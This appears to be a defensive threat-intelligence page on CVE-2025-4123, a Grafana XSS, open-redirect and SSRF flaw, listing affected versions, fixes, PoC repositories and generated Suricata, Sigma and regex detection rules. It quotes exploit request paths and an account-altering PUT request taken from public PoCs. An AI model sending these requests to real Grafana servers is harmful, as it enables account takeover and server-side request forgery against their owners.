Grafana
A cross-site scripting (XSS) vulnerability exists in Grafana caused by combining a client path traversal and open redirect. This allows attackers to redirect users to a website that hosts a frontend plugin that will execute arbitrary JavaScript. This vulnerability does not require editor permissions and if anonymous access is enabled, the XSS will work. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read SSRF. The default Content-Security-Policy (CSP) in Grafana will block the XSS though the `connect-src` directive.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- >= 10.4.18+security-01, < 10.4.19
- >= 11.2.9+security-01, < 11.2.10
- >= 11.3.6+security-01, < 11.3.7
- >= 11.4.4+security-01, < 11.4.5
- >= 11.5.4+security-01, < 11.5.5
- >= 11.6.1+security-01, < 11.6.2
- >= 12.0.0+security-01, < 12.0.1
Fixed in 10.4.19, 11.2.10, 11.3.7, 11.4.5, 11.5.5, 11.6.2, 12.0.1
Mitigation
Upgrade Grafana to 10.4.19 or 11.2.10 or 11.3.7 or 11.4.5 or 11.5.5 or 11.6.2 or 12.0.1 or later.
References
- Vendor advisory grafana.com/security/security-advisories/cve-20…
- Mitigation grafana.com/blog/2025/05/23/grafana-security-re…
Timeline
Days relative to CVE publicationFirst public PoC 2 h after publication; not in CISA KEV. First PoC: nuclei template: Grafana - XSS / Open Redirect / SSRF via Client Path Traversal (nuclei template, 22 May 2025).
PoC repositories
Found on GitHub.3 PoCs · 3 pending · 1 informational · 1 suspicious or fake
PoCs 3
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| NightBloodz/CVE-2025-4123 | 22 May 2025 +8 h | 58 | PoC |
| imbas007/CVE-2025-4123-template | 3 Jun 2025 +12 d | 0 | Scanner
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
| ynsmroztas/CVE-2025-4123-Exploit-Tool-Grafana- | 4 Jun 2025 +13 d | 33 | PoC |
Pending 3
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| B1ack4sh/Blackash-CVE-2025-4123 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| kk12-30/CVE-2025-4123 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| punitdarji/Grafana-cve-2025-4123 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| ItsNee/Grafana-CVE-2025-4123-POC | 12 Sep 2025 +113 d | 0 | Informational · write-up |
Suspicious or fake 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| MorphyKutay/CVE-2025-4123-Exploit | 14 Oct 2025 +146 d | 0 | Fake |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Grafana 11.6.0 - SSRF | 6 Apr 2026 | 14 Nov 2026 |
| nuclei template | nuclei template: Grafana - XSS / Open Redirect / SSRF via Client Path Traversal | 22 May 2025 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 3 PoC reposGET /public/..%2F%5coast.pro%2F%3f%2F..%2F..
- Seen in
- 1 repo: imbas007/CVE-2025-4123-template
- Evidence
- imbas007/CVE-2025-4123-template/CVE-2025-4123.yaml:36
GET /render/public/..%252f%255C{var}%252f%253F%252f..%252f..
- Seen in
- 1 repo: imbas007/CVE-2025-4123-template
- Evidence
- imbas007/CVE-2025-4123-template/CVE-2025-4123.yaml:32
PUT /api/user
- Key headers
// note: Cookie' headers are restricted by browsers in JavaScript fetchAccept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.9X-Grafana-Device-Id: 3b3353978aa55a04cd5b130d126adfeeX-Grafana-Org-Id: 1- Body markers
"name":"pwned""email":"pwned@pwned.com""login":"pwned"inapplication/json- Ports
- 80
- PoC User-Agent
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36- Seen in
- 1 repo: NightBloodz/CVE-2025-4123
- Evidence
- NightBloodz/CVE-2025-4123/js.js:1
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/public/\.\.%2F%5coast\.pro%2F%3f%2F\.\.%2F\.\.(?:[?#].*)?$
(?i)^/render/public/\.\.%252f%255C[^/?#]*%252f%253F%252f\.\.%252f\.\.(?:[?#].*)?$
(?i)^/api/user(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-4123 Grafana Grafana exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/public/..%2F%5coast.pro%2F%3f%2F..%2F.."; reference:url,poc.griffinguard.io/cve/CVE-2025-4123; classtype:web-application-attack; sid:9007944; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-4123 Grafana Grafana exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/render/public/..%252f%255C"; http.uri; content:"%252f%253F%252f..%252f.."; reference:url,poc.griffinguard.io/cve/CVE-2025-4123; classtype:web-application-attack; sid:9077036; rev:1;)
alert http any any -> $HOME_NET [80] (msg:"GG PoC-Monitor CVE-2025-4123 Grafana Grafana exploit attempt"; flow:established,to_server; http.method; content:"PUT"; http.uri; content:"/api/user"; http.header; content:"// note: Cookie' headers are restricted by browsers in JavaScript fetch"; nocase; http.header; content:"Accept: application/json, text/plain, */*"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.9"; nocase; http.header; content:"X-Grafana-Device-Id: 3b3353978aa55a04cd5b130d126adfee"; nocase; http.header; content:"X-Grafana-Org-Id: 1"; nocase; http.request_body; content:"|22|name|22|:|22|pwned|22|"; http.request_body; content:"|22|email|22|:|22|pwned@pwned.com|22|"; http.request_body; content:"|22|login|22|:|22|pwned|22|"; reference:url,poc.griffinguard.io/cve/CVE-2025-4123; classtype:web-application-attack; sid:9806542; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Grafana Grafana exploit attempt (CVE-2025-4123)
id: gg-pocmon-cve-2025-4123-9007944
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-4123. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-4123
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/public/..%2F%5coast.pro%2F%3f%2F..%2F..'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.4123
title: Grafana Grafana exploit attempt (CVE-2025-4123)
id: gg-pocmon-cve-2025-4123-9077036
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-4123. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-4123
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/render/public/..%252f%255C'
- '%252f%253F%252f..%252f..'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.4123
title: Grafana Grafana exploit attempt (CVE-2025-4123)
id: gg-pocmon-cve-2025-4123-9806542
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-4123. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-4123
logsource:
category: webserver
detection:
selection:
cs-method: PUT
cs-uri-stem|contains|all:
- '/api/user'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.4123